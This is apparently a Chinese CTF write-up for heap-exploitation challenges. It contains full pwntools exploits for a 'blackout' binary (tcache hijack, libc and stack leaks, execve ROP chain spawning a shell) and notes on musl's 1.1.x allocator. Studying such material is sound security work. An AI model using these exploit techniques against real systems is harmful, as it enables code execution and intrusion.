arr_update(1,"v","a"*8)
arr_update(2,"a",0x10)
arr_delete2(0,6)
arr_delete(0x6)
arr_update(0x6,"v","8")
arr_update2(0,6,"v","a"*8)

cmd(2)
ru("[01] <S> ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x540
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

for i in range(10):
arr_update2(2,i,"a",0x10)
for i in range(9):
arr_delete2(2,i)

arr_update2(2,10,"v",str(heap_base+0xe00))
str_update(1,p64(heap_base+0x4e0-8))

cmd(2)
ru("[06] <S> ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x219ce0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

realloc_libc_got = libc_base + 0x219028
system_libc = libc_base + libc.sym["system"]
one_gadgets = [0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]
one_gadget = libc_base + one_gadgets[2]
success("realloc_libc_got >> "+hex(realloc_libc_got))

arr_update2(2,10,"v",p64(0x50)+p64(realloc_libc_got))
str_update(1,p64(heap_base+0xe00))

#debug()
str_update2(0,6,p64(system_libc))
arr_update(3,"v","/bin/sh\x00")

p.interactive()

blackout

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.3) stable release version 2.35.
1
2
3
4
5
6
blackout: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4c3a010b465f17f8212ac92f19b5b63be856f16b, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX

漏洞分析

程序有一个强转,导致 find 只能接受到后4字节:

1
2
3
4
5
6
7
8
for ( chunk = chunk_list[index]; max > chunk - chunk_list[index]; chunk = &next[len] )
{
find = (unsigned int)memmem(chunk, &chunk_list[index][max] - chunk, target, len);
next = (char *)find;
if ( !find )
break;
memset((void *)find, '*', len);
}

入侵思路

这个题目脑洞有点大:

  • 程序会截断 memmem 返回的地址,但程序没有开 PIE 导致申请到的 chunk 地址都在32位的范围内
  • 我们的目标就是反复执行 malloc,以保证之后的 chunk 在32位的范围外

之后就可以通过截断后的 memmem 来修改 chunk_list 地址上的内容:

1
2
3
4
5
pwndbg> telescope 0x404060
00:00000x404060 (letter) —▸ 0x14a13f0 ◂— 0x14a0600
01:00080x404068 (letter+8) ◂— 0x0
... ↓ 5 skipped
07:00380x404098 (letter+56) —▸ 0x1014a13f0 ◂— 0x0
  • 覆盖 0x14a0600 末尾的 “\x00” 就可以泄露 heap_base

泄露 heap_base 和 libc_base 的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
add(0, 0x10)
add(1, 0x10)
add(2, 0x10)
add(3, 0x10)

dele(1)
dele(2)
dele(3)

for i in range(8):
add(i, 0xe0)
for i in range(8):
if(i==6):
continue
dele(i)
dele(6)
add(0,0)
for i in range(3):
add(1,0)

for i in tqdm(range(0xffff)):
add(7, 0xffe8, b"")
if i % 0x1000 == 0:
p.clean()

add(6, 0xf850)
add(7, 0x1000,"a")
p.clean()

edit(7,"a")
leak_addr = u64(edit(0,"*").ljust(8,b"\x00"))
heap_base = leak_addr & 0xfffff000
if(leak_addr > 0x1000000):
heap_base += 0x1000
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

dele(6)
dele(7)
add(6, 0xfe10,"a")
add(7, 0x1000,"a")
p.clean()
edit(7,"a")
leak_addr = u64(edit(1,"*").ljust(8,b"\x00"))
libc_base = leak_addr - 0x219d2a
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

接下来需要劫持 tcache head,将其中的某个 tcache bin 的倒数第2字节改为 0x2a(为了 chunk 地址合法,不能该最后一字节)

由于开了 PIE,我们需要根据泄露的 heap_base 来定制 payload,并在 fake tcache bin 中伪造 fake chunk,因此还需要先泄露 tcache key

接着就可以劫持 tcache head 进而劫持 0x404060,然后通过 __libc_argv 泄露栈地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
dele(6)
dele(7)
add(6, 0xf648,"a")
add(7, 0x1000,"a"+"b")

for i in range(3): # 填充tcache head
add(i+2,0xf0)
for i in range(3):
dele(i+2)

target_tcache = heap_base + 0x100001310
new_tcache = (target_tcache & 0xffffffffffff00ff) + 0x2a00
new_top_chunk = heap_base + 0xffff0aa0
success("target_tcache >> "+hex(target_tcache))
success("new_tcache >> "+hex(new_tcache))
success("new_top_chunk >> "+hex(new_top_chunk))

edit(7,"b")
dele(6)
dele(7)
victim = heap_base + 0x10
next_ptr = ((new_tcache) >> 12) ^ victim
payload = b"a"*(new_tcache-new_top_chunk-0x10)+p64(0)+p64(0x211)+p64(next_ptr)+p64(tcache_key)
add(6, 0xf000,payload)
add(0,0xf0)
add(1,0xf0,p64(0x0002000200020002)*4+p64(0)*24+p64(0x404060))

libc_argv = libc_base + 0x21aa20
success("libc_argv >> "+hex(libc_argv))

add(1,0xd0,p64(libc_argv)+p64(victim))
leak_addr = u64(edit(0,"*").ljust(8,b"\x00"))
stack_base = leak_addr - 0x110 - 8
success("leak_addr >> "+hex(leak_addr))
success("stack_base >> "+hex(stack_base))

最后劫持栈就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
# -*- coding:utf-8 -*-
from pwn import *
from tqdm import tqdm
import os

arch = 64
challenge = './blackout1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x401765\n")
#gdb.attach(p,"b *$rebase()\n")
#pause()

def cmd(op):
sla(">",str(op))

def add(index,size,data=""):
sl("1")
sl(str(index))
sl(str(size))
if size!=0:
sl(data)

def edit(index,data):
sl("2")
sl(str(index))
sl(data)
ru("[Redacted]\n")
return ru("\n")

def dele(index):
sl("3")
sl(str(index))

add(0, 0x10)
add(1, 0x10)
add(2, 0x10)
add(3, 0x10)

dele(1)
dele(2)
dele(3)

for i in range(8):
add(i, 0xe0)
for i in range(8):
if(i==6):
continue
dele(i)
dele(6)
add(0,0)
for i in range(3):
add(1,0)

for i in tqdm(range(0xffff)):
add(7, 0xffe8, b"")
if i % 0x1000 == 0:
p.clean()

add(6, 0xf850)
add(7, 0x1000,"a")
p.clean()

edit(7,"a")
leak_addr = u64(edit(0,"*").ljust(8,b"\x00"))
heap_base = leak_addr & 0xfffff000
if(leak_addr > 0x1000000):
heap_base += 0x1000
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

dele(6)
dele(7)
add(6, 0xf850)
add(7, 0x1000,"1"*0x10+"2"*0x10+"3"*0x8)
edit(7,"1"*0x10)
edit(7,"2"*0x10)
edit(7,"3"*0x8)
tcache_key = u64(edit(0,"*")[0x28:0x30])
success("tcache_key >> "+hex(tcache_key))

dele(6)
dele(7)
add(6, 0xfe10,"a")
add(7, 0x1000,"a")
p.clean()
edit(7,"a")
leak_addr = u64(edit(1,"*").ljust(8,b"\x00"))
libc_base = leak_addr - 0x219d2a
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

dele(6)
dele(7)
add(6, 0xf648,"a")
add(7, 0x1000,"a"+"b")

for i in range(3): # 填充tcache head
add(i+2,0xf0)
for i in range(3):
dele(i+2)

target_tcache = heap_base + 0x100001310
new_tcache = (target_tcache & 0xffffffffffff00ff) + 0x2a00
new_top_chunk = heap_base + 0xffff0aa0
success("target_tcache >> "+hex(target_tcache))
success("new_tcache >> "+hex(new_tcache))
success("new_top_chunk >> "+hex(new_top_chunk))

edit(7,"b")
dele(6)
dele(7)
victim = heap_base + 0x10
next_ptr = ((new_tcache) >> 12) ^ victim
payload = b"a"*(new_tcache-new_top_chunk-0x10)+p64(0)+p64(0x211)+p64(next_ptr)+p64(tcache_key)
add(6, 0xf000,payload)
add(0,0xf0)
add(1,0xf0,p64(0x0002000200020002)*4+p64(0)*24+p64(0x404060))

libc_argv = libc_base + 0x21aa20
success("libc_argv >> "+hex(libc_argv))

add(1,0xd0,p64(libc_argv)+p64(victim))
leak_addr = u64(edit(0,"*").ljust(8,b"\x00"))
stack_base = leak_addr - 0x110 - 8
success("leak_addr >> "+hex(leak_addr))
success("stack_base >> "+hex(stack_base))

pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x00000000000796a2
syscall_ret = libc_base + 0x0000000000114439
binsh_addr = libc_base + 0x1d8698

payload = b"a"*8
payload += p64(pop_rax_ret)+p64(0x3b)
payload += p64(pop_rdi_ret)+p64(binsh_addr)
payload += p64(pop_rsi_ret)+p64(0)
payload += p64(pop_rdx_ret)+p64(0)
payload += p64(syscall_ret)

dele(1)
add(1,0x280,p64(0x0002000200020002)*4+p64(0)*24+p64(stack_base))
add(1,0xd0,payload)

#debug()

p.interactive()

Libc Musl 简析

Musl 是一个轻量级的C标准库,设计作为 GNU C library (glibc)、 uClibc 或 Android Bionic 的替代用于嵌入式操作系统和移动设备

它遵循 POSIX 2008 规格和 C99 标准,采用 MIT 许可证授权,使用 Musl 的 Linux 发行版和项目包括 sabotagebootstrap-linuxLightCube OS

Libc Musl 堆管理器 - 1.1.x

1.1.x 和 1.2.x 堆管理结构几乎完全不同:

  • 1.2.x 新版本使用 mallocng
  • 1.1.x 旧版本使用 oidmalloc

1.1.x Musl 关键结构体

基础堆块结构体 chunk:

1
2
3
4
struct chunk {
size_t psize, csize;
struct chunk *next, *prev;
};
  • psize 和 csize 字段都有标志位,但只有最低位的标志位 INUSE 有效(该标记用于表示自己的状态)
    • 若设置 INUSE 标志位(最低位为1),表示 chunk 正在被使用
    • 若没有设置 INUSE 标志位(最低位为0),表示 chunk 已经被释放或者通过 mmap 分配的,需要通过 psize 的标志位来进一步判断 chunk 的状态

核心结构体 mal:

1
2
3
4
5
static struct {
volatile uint64_t binmap;
struct bin bins[64];
volatile int free_lock[2];
} mal;
  • 64 位无符号整数 binmap,记录每个 bin 是否为非空
  • 前面 32 个 bin 存放的 chunk 大小固定,而后面的存放一定范围的 chunk

空闲循环链表 bin:

1
2
3
4
5
struct bin {
volatile int lock[2];
struct chunk *head;
struct chunk *tail;
};
  • head 和 tail 指针分别指向首部和尾部的 chunk
  • 首部 chunk 的 prev 指针和尾部 chunk 的 next 指针指向 bin 链表头部

1.1.x Musl 关键函数

申请函数 malloc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void *malloc(size_t n)
{
struct chunk *c;
int i, j;

if (adjust_size(&n) < 0) return 0; /* 对齐 */

if (n > MMAP_THRESHOLD) { /* 使用mmap */
size_t len = n + OVERHEAD + PAGE_SIZE - 1 & -PAGE_SIZE;
char *base = __mmap(0, len, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (base == (void *)-1) return 0;
c = (void *)(base + SIZE_ALIGN - OVERHEAD);
c->csize = len - (SIZE_ALIGN - OVERHEAD);
c->psize = SIZE_ALIGN - OVERHEAD;
return CHUNK_TO_MEM(c);
}

i = bin_index_up(n); /* 计算该chunk所属的bin */
for (;;) {
uint64_t mask = mal.binmap & -(1ULL<<i); /* 通过binmap查找bin中是否有free chunk */
if (!mask) { /* 查找失败 */
c = expand_heap(n); /* 扩展堆空间 */
if (!c) return 0;
if (alloc_rev(c)) {
struct chunk *x = c;
c = PREV_CHUNK(c);
NEXT_CHUNK(x)->psize = c->csize =
x->csize + CHUNK_SIZE(c);
}
break;
} /* 查找成功 */
j = first_set(mask); /* 获取bin */
lock_bin(j);
c = mal.bins[j].head;
if (c != BIN_TO_CHUNK(j)) { /* 若大小不合适,则使用pretrim进行分割 */
if (!pretrim(c, n, i, j)) unbin(c, j);
unlock_bin(j);
break;
}
unlock_bin(j);
}

/* Now patch up in case we over-allocated */
trim(c, n); /* 最后malloc会将没有使用的内存释放(这一点会破坏堆风水) */

return CHUNK_TO_MEM(c);
}

unlink 操作函数 unbin:

1
2
3
4
5
6
7
8
9
static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
c->prev->next = c->next;
c->next->prev = c->prev;
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;
}
  • 在 libc 中会有 c->prev->next == c && c->next->prev == c 的检查,而这里没有

释放函数 free:

1
2
3
4
5
6
7
8
9
10
11
void free(void *p)
{
if (!p) return;

struct chunk *self = MEM_TO_CHUNK(p);

if (IS_MMAPPED(self))
unmap_chunk(self);
else
__bin_chunk(self);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
void __bin_chunk(struct chunk *self)
{
struct chunk *next = NEXT_CHUNK(self);
size_t final_size, new_size, size;
int reclaim=0;
int i;

final_size = new_size = CHUNK_SIZE(self);

/* Crash on corrupted footer (likely from buffer overflow) */
if (next->psize != self->csize) a_crash();

for (;;) {
if (self->psize & next->csize & C_INUSE) {
self->csize = final_size | C_INUSE;
next->psize = final_size | C_INUSE;
i = bin_index(final_size);
lock_bin(i);
lock(mal.free_lock);
if (self->psize & next->csize & C_INUSE)
break;
unlock(mal.free_lock);
unlock_bin(i);
}

if (alloc_rev(self)) { /* 向前合并空闲chunk */
self = PREV_CHUNK(self);
size = CHUNK_SIZE(self);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
}

if (alloc_fwd(next)) { /* 向后合并空闲chunk */
size = CHUNK_SIZE(next);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
next = NEXT_CHUNK(next);
}
}

if (!(mal.binmap & 1ULL<<i)) /* 在binmap中设置非空 */
a_or_64(&mal.binmap, 1ULL<<i);

self->csize = final_size;
next->psize = final_size;
unlock(mal.free_lock);

self->next = BIN_TO_CHUNK(i); /* 将self插入到链表的尾部 */
self->prev = mal.bins[i].tail;
self->next->prev = self;
self->prev->next = self;

/* Replace middle of large chunks with fresh zero pages */
if (reclaim) {
uintptr_t a = (uintptr_t)self + SIZE_ALIGN+PAGE_SIZE-1 & -PAGE_SIZE;
uintptr_t b = (uintptr_t)next - SIZE_ALIGN & -PAGE_SIZE;
#if 1
__madvise((void *)a, b-a, MADV_DONTNEED);
#else
__mmap((void *)a, b-a, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
#endif
}

unlock_bin(i);
}

1.1.x Musl 堆排布

在堆初始化之后,程序会自动生成一个基于 libc 基地址的 chunk 和一个基于程序基地址的 chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> p /x mal
$3 = {
binmap = 0x4000000000,
bins = {{
lock = {0x0, 0x0},
head = 0x0,
tail = 0x0
} <repeats 38 times>, {
lock = {0x0, 0x0},
head = 0x6021f0,
tail = 0x7f02cb591350
}, {
lock = {0x0, 0x0},
head = 0x0,
tail = 0x0
} <repeats 25 times>},
free_lock = {0x0, 0x0}
}
  • 最开始申请的堆都会从这两个 chunk 中切割,直到有更合适的 chunk 出现